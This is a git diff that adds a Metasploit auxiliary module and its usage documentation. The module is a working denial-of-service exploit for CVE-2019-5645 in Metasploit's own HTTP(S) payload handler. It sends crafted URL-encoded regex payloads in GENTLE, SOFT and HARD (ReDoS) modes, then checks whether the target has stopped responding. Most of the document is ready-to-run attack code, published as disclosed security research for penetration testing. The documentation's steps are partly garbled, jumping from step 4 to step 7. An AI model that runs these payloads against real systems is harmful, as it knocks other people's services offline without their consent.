diff --git a/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md b/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md new file mode 100644 index 000000000000..8f44caf777af --- /dev/null +++ b/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md @@ -0,0 +1,36 @@ +## Vulnerable Application + + Metasploit Framework before version 5.0.28 + +## Verification Steps + + 1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b) + 2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener + 3. Start this module and set RHOSTS and RPORT to the target listener address and port. + 4. Run the modulest ``` + 7. `msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually. + +## Options + + **DOSTYPE** + + GENTLE: *Current sessions will continue to work, but not future ones* + A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work. + + SOFT: *No past or future sessions will work* + A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer. + + HARD: *ReDOS or Catastrophic Regex Backtracking* + A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption. + +## Scenarios + +``` +msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run +[*] Running module against 127.0.0.1 + +[*] 127.0.0.1:8080 - Sending DoS packet... +^C[-] Stopping running againest current target... +[*] Control-C again to force quit all targets. +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb b/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb new file mode 100644 index 000000000000..88dc90926703 --- /dev/null +++ b/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit HTTP(S) handler DoS', + 'Description' => %q{ + This module exploits the Metasploit HTTP(S) handler by sending + a specially crafted HTTP request that gets added as a resource handler. + Resources (which come from the external connections) are evaluated as RegEx + in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS. + + Tested against Metasploit 5.0.20. + }, + 'Author' => [ + 'Jose Garduno, Dreamlab Technologies AG', #Vulnerability Discovery, Metasploit module. + 'Angelo Seiler, Dreamlab Technologies AG', #Additional research, debugging. + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2019-5645'] + ], + 'DisclosureDate' => '2019-09-04' + )) + + register_options( + [ + OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]]) + ]) + end + + def test_service_unresponsive + begin + print_status('Testing for service unresponsiveness.') + + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) + + if res.nil? + print_good('SUCCESS, Service not responding.') + else + print_error('Service responded with a valid HTTP Response; Attack failed.') + end + rescue ::Rex::ConnectionRefused + print_error('An unknown error occurred.') + rescue ::Timeout::Error + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') + end + end + + + def dos + case datastore['DOSTYPE'] + when "HARD" + resone = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/%2f%26%28%21%7c%23%2b%29%2b%40%32%30") + ) + begin + restwo = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21") + ) + rescue ::Errno::EPIPE, ::Timeout::Error + # Same exceptions the HttpClient mixin catches + end + test_service_unresponsive + + when "SOFT" + resone = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/%5b20") + ) + + test_service_unresponsive + + when "GENTLE" + resone = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/%2e%2a%7c%32%30%7c%5c") + ) + + sleep(1) + + restwo = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/whatever") + ) + + resthree = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri("/whatever2") + ) + + if resthree.body.length == 0 + print_good('SUCCESS, Service not responding.') + else + print_error('Service responded with a valid HTTP Response; Attack failed.') + end + + else + fail_with Failure::BadConfig, 'Invalid DOSTYPE selected' + end + + print_status("DOS request sent") + end + + def is_alive? + begin + connect + rescue Rex::ConnectionRefused + return false + ensure + disconnect + end + true + end + + def run + print_status("#{rhost}:#{rport} - Sending DoS packet...") + dos + end + +end